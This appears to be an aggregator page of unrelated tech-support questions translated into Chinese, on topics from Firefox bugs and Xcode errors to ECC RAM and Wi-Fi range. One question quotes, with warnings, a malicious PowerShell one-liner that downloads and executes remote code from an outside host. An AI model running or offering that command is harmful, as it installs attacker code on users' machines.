从今天开始,使用 Firefox,我无法再将文本粘贴到whatsapp.web(WhatsApp 的 PC 版本)的文本输入字段中。
Windows 10 上的版本是 FF 116.0.2(64 位),以前版本的 FF 显然运行良好......
在基于 Chromium 的浏览器(例如 Chrome 或 Brave)上没有问题。
其他人报告了这个问题。
这里发生了什么?是否有 Firefox 解决方法,或者我需要坚持使用 Chrome?
在很多需要登录的网站上,会出现那些烦人的谷歌登录提示:
Internet 上有几个关于如何避免这种情况的教程,例如How-To Geek 上的这个教程,它建议禁用 Google 帐户中的一个选项。但是,这不起作用,因为我的未启用并且从未启用过:
请注意,这仅发生在 Firefox(110.0.1(64 位),已安装 AdBlocker ultimate v 3.7.21);如果我使用 Brave 浏览器(版本 1.49.120 Chromium:111.0.5563.64(官方构建)(64 位)),默认情况下会阻止广告,它们不会显示。我正在使用Linux 内核 5.19.0-35-generic x86_64 的Ubuntu 22.04.2 LTS (Jammy Jellyfish)。
我的 Apple MacBook pro M1 2020 自动更新到Monterey 12.6
最近。随着更新,我必须同意 Xcode 协议/许可。之后,我发现两者python
都git
无法正常工作。我有一个弹出窗口说:The “git” command requires the command line developer tools.
但是在我安装了该工具之后,弹出窗口又回来并要求我递归安装该工具。有什么建议可以解决这个问题吗?
当我运行git
命令时,我收到以下错误消息:
2022-09-15 16:35:42.216 xcodebuild[5621:29269] [MT] DVTPlugInLoading: Failed to load code for plug-in com.apple.dt.IDESimulatorAvailability (/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin), error = Error Domain=NSCocoaErrorDomain Code=3588 "dlopen(/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability, 0x0109): Symbol not found: (_OBJC_CLASS_$_SimDiskImage)
Referenced from: '/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability'
Expected in: '/Library/Developer/PrivateFrameworks/CoreSimulator.framework/Versions/A/CoreSimulator'" UserInfo={NSLocalizedFailureReason=The bundle couldn’t be loaded., NSLocalizedRecoverySuggestion=Try reinstalling the bundle., NSFilePath=/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability, NSDebugDescription=dlopen(/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability, 0x0109): Symbol not found: (_OBJC_CLASS_$_SimDiskImage)
Referenced from: '/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability'
Expected in: '/Library/Developer/PrivateFrameworks/CoreSimulator.framework/Versions/A/CoreSimulator', NSBundlePath=/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin, NSLocalizedDescription=The bundle “IDESimulatorAvailability” couldn’t be loaded.}, dyldError = dlopen(/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability, 0x0000): Symbol not found: (_OBJC_CLASS_$_SimDiskImage)
Referenced from: '/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability'
Expected in: '/Library/Developer/PrivateFrameworks/CoreSimulator.framework/Versions/A/CoreSimulator'
2022-09-15 16:35:42.235 xcodebuild[5621:29269] [MT] DVTAssertions: ASSERTION FAILURE in /System/Volumes/Data/SWE/Apps/DT/BuildRoots/BuildRoot2/ActiveBuildRoot/Library/Caches/com.apple.xbs/Sources/DVTFrameworks/DVTFrameworks-21303/DVTFoundation/PlugInArchitecture/DataModel/DVTPlugIn.m:374
Details: Failed to load code for plug-in com.apple.dt.IDESimulatorAvailability (/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin)
Please ensure Xcode packages are up-to-date — try running 'xcodebuild -runFirstLaunch'.
NSBundle error: Error Domain=NSCocoaErrorDomain Code=3588 "dlopen(/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability, 0x0109): Symbol not found: (_OBJC_CLASS_$_SimDiskImage)
Referenced from: '/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability'
Expected in: '/Library/Developer/PrivateFrameworks/CoreSimulator.framework/Versions/A/CoreSimulator'" UserInfo={NSLocalizedFailureReason=The bundle couldn’t be loaded., NSLocalizedRecoverySuggestion=Try reinstalling the bundle., NSFilePath=/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability, NSDebugDescription=dlopen(/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability, 0x0109): Symbol not found: (_OBJC_CLASS_$_SimDiskImage)
Referenced from: '/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin/Contents/MacOS/IDESimulatorAvailability'
Expected in: '/Library/Developer/PrivateFrameworks/CoreSimulator.framework/Versions/A/CoreSimulator', NSBundlePath=/Applications/Xcode.app/Contents/PlugIns/IDESimulatorAvailability.ideplugin, NSLocalizedDescription=The bundle “IDESimulatorAvailability” couldn’t be loaded.}
Object: <DVTPlugIn: 0x600003f1fd40>
Method: -loadAssertingOnError:error:
Thread: <_NSMainThread: 0x600001b542c0>{number = 1, name = main}
Hints:
Backtrace:
0 0x0000000101c19410
1 0x0000000101c18aec
2 0x0000000101c18c6c
3 0x0000000101ac72ac
4 0x0000000101a8d118
5 0x0000000101a8b528
6 0x00000001bc9701b4
7 0x00000001bc97f414
8 0x0000000101c5d58c
9 0x0000000101c394b0
10 0x0000000101a8b3c0
11 0x0000000101a8b5e0
12 0x0000000102b4f2ec
13 0x0000000102b4eae0
14 0x0000000102b4e1e8
15 0x00000001004ec324
16 0x000000010027de0c
sh: line 1: 5626 Abort trap: 6 /Applications/Xcode.app/Contents/Developer/usr/bin/xcodebuild -sdk /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk -find git 2> /dev/null
git: error: sh -c '/Applications/Xcode.app/Contents/Developer/usr/bin/xcodebuild -sdk /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk -find git 2> /dev/null' failed with exit code 34304: (null) (errno=Invalid argument)
xcode-select: Failed to locate 'git', requesting installation of command line developer tools.
> putty
dbus[6750]: Dynamic session lookup supported but failed: launchd did not provide a socket path, verify that org.freedesktop.dbus-session.plist is loaded!
所以,我买了一个 SSD 来提升我的 PC 的速度,并开始将无关文件传输到我拥有的 10TB 便携式 USB 驱动器上。为了在尝试将硬盘克隆到 SSD 以使其可启动之前减小硬盘驱动器的大小,我使用了 SpaceSniffer 程序来查看硬盘驱动器上是否还有其他地方可以提取数据以减小大小进一步,并在克隆之前使我的新 SSD 尽可能“干净”。
无论如何,SpaceSniffer 发现了以下文件夹:
这实际上是我之前升级的更旧的 TB 硬盘驱动器的另一个“克隆”,并且完全忘记了。事情是这样的,我已经选中了“显示隐藏的文件和文件夹”,并且能够看到隐藏的文件和文件夹。但是,由于某种原因,我无法看到此文件夹:
奇怪的是,我可以直接导航到该文件夹并通过直接在导航栏中输入路径来查看其文件:
有没有人听说过这个,或者可以解释这里发生了什么?还要注意其中有一个正方形的“只读”复选框,并且在上面的第一个屏幕截图中选中并禁用了隐藏的复选框。
由于某种原因,这似乎是一个“超级”隐藏文件夹。从 3.1 天开始就使用 Windows,我以前从未见过这样的事情。那么,任何更大的 Windows 专家对此文件夹的奇怪行为有什么解释吗?
我是个白痴,被吸引到运行 PowerShell 脚本。它的细节是什么?我有一种感觉,他们只从我的系统上传了一些文件。
但我担心我的系统上可能有一个后门正在运行。我可以忍受的上传,但不是后门。
警告!不要 运行 此脚本。
iex "& { $(irm
(我把它分成两行以防止无意运行它)
powershell.software/versioncheck) } RunJob"
警告!不要 运行 此脚本。
我查看了 ssh 的手册页,但我仍然一无所知。当您使用 ssh 连接到远程主机时,它会显示如下内容:
ssh [email protected]
The authenticity of host '10.11.12.13 (10.11.12.13)' can't be established.
ECDSA key fingerprint is SHA256:CwrcHjdd9349u38rj392fr9j389rj3298rj23.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
我认为:
第三个选项[指纹]是什么?
一两年前,我可以为我组装的 PC 购买 ECC(纠错码)RAM。ECC RAM 提供了 SEC-DED,我猜是电离辐射引起的位翻转(我不知道还有什么可能导致 RAM 或 I/O 总线中出现瞬态位错误)。
多年来,我还没有看到为 PC 提供 ECC RAM。这是为什么?
如果 ECC 内存在 20 年前有用,那么现在 PC 运行的内存要多 1-2 个数量级,电压更低,物理特征更小,(可能)更容易受到杂散辐射的破坏,那么它会更有帮助。这些假设是否不正确?
即,如果 ECC RAM 在十年前被认为是一个有用的功能,那么它有用的原因是否不再适用于当前的个人计算机和服务器?或者现在的想法是 ECC RAM 从来没有真正有用过?
我正在压缩 ~1.3 GB 文件夹,每个文件夹都包含 1440 个 JSON 文件,发现在 macOS 或Raspbian 10 (Buster)上使用tar
命令和 Python 的内置库之间存在 15 倍的差异tarfile
此脚本比较两种方法:
#!/usr/bin/env python3
from pathlib import Path
from subprocess import call
import tarfile
fullpath = Path("/Users/user/Desktop/temp/tar/2021-03-11")
zsh_out = Path(fullpath.parent, "zsh-archive.tar.xz")
py_out = Path(fullpath.parent, "py-archive.tar.xz")
# tar using terminal
# tar cJf zsh-archive.tar.xz folderpath
call(["tar", "cJf", zsh_out, fullpath])
# tar using tarfile library
with tarfile.open(py_out, "w:xz") as tar:
tar.add(fullpath, arcname=fullpath.stem)
# Print filesizes
print(f"zsh tar filesize: {round(Path(zsh_out).stat().st_size/(1024*1024), 2)} MB")
print(f"py tar filesize: {round(Path(py_out).stat().st_size/(1024*1024), 2)} MB")
输出是:
zsh tar filesize: 23.7 MB
py tar filesize: 1.49 MB
我使用的版本如下:
tar
在 macOS 上:bsdtar 3.3.2 - libarchive 3.3.2 zlib/1.2.11 liblzma/5.0.5 bz2lib/1.0.6
tar
在 Raspbian 10 上:xz (XZ Utils) 5.2.4 liblzma 5.2.4
tarfile
Python库:0.9.0
压缩后,我提取了两个档案并将生成的文件夹与:
diff -r py-archive-expanded zsh-archive-expanded
没有区别。
如果我直接比较两个 tar 档案,它们似乎不同:
➜ diff zsh-archive.tar.xz py-archive.tar.xz
Binary files zsh-archive.tar.xz and py-archive.tar.xz differ
如果我使用 Quicklook(和 Betterzip 插件)检查档案,我会发现档案中的文件以不同的方式排序:
左边是zsh-archive.tar.xz
,右边是py-archive.tar.xz
:
zsh 存档使用未知顺序,Python 存档按修改日期对文件进行排序。我不确定这是否重要。
到底是怎么回事?使用 Python 库压缩数据是否会丢失一些东西?15 倍的大小差异是否表明存在某些问题?或者我可以安全地继续使用高效的 Python 实现吗?
尝试在我的家庭网络上使用Cloudflare 提供的 1.1.1.1 DNS 服务时,所有查询都超时。我是 CenturyLink 光纤(现更名为 Quantum Fiber)的客户。为什么?
在此处使用意味着将其添加为 Mac、Windows 10 PC 和使用 DNSMasq 作为 DNS 转发器运行的 linux 服务器中的显式 DNS 解析器。
我不得不拒绝/接受 cookie 有一段时间了。但是我在少数网站上注意到的一些事情现在表明 cookie 具有“合法利益”?我对我可以吃的 IRL cookie 有合法权益,但我不知道网站分享对互联网 cookie 的兴趣意味着什么?
更有趣/令人费解的是,虽然大多数网站都选择退出所有 cookie(在可能的情况下),但那些确实暗示“合法利益”的网站总是打开。
这些设置对我意味着什么?我可以允许它们,还是应该像处理其他非必要 cookie 一样将它们全部关闭?
我有一台佳能 MF644Cdw 一体式激光打印机。根据规格,它的“推荐月页量”为150-2500页。
我可以理解为什么喷墨打印机可能有推荐的每月页量,因为如果您不经常打印,墨水可能会变干并堵塞打印头。但我不确定为什么激光打印机会,因为碳粉由已经干燥的粉末组成。
如果打印的页数少于建议的页数,激光打印机会受到怎样的负面影响?
从表面上看,在我看来,主板不像 CPU 或显卡那样是“性能”部件。至少据我了解,其目的是将各种硬件部件连接在一起,并在背面提供少量 USB 和其他接口端口。
因此,在购买主板时,任何支持我的 CPU 插槽的主板似乎都和其他主板一样好。它们之间究竟有什么区别?在确定主板是否适合我的需求时,我应该注意什么?
有件事我想了解。
我的问题是,如果智能手机只能发送最远 10 米的 Wi-Fi 信号,它如何与 40 米外的路由器通信?
或者换句话说,如果智能手机的发射器足够强大,可以在 40 米外发送数据,为什么它的 Wi-Fi 移动热点的范围如此之短?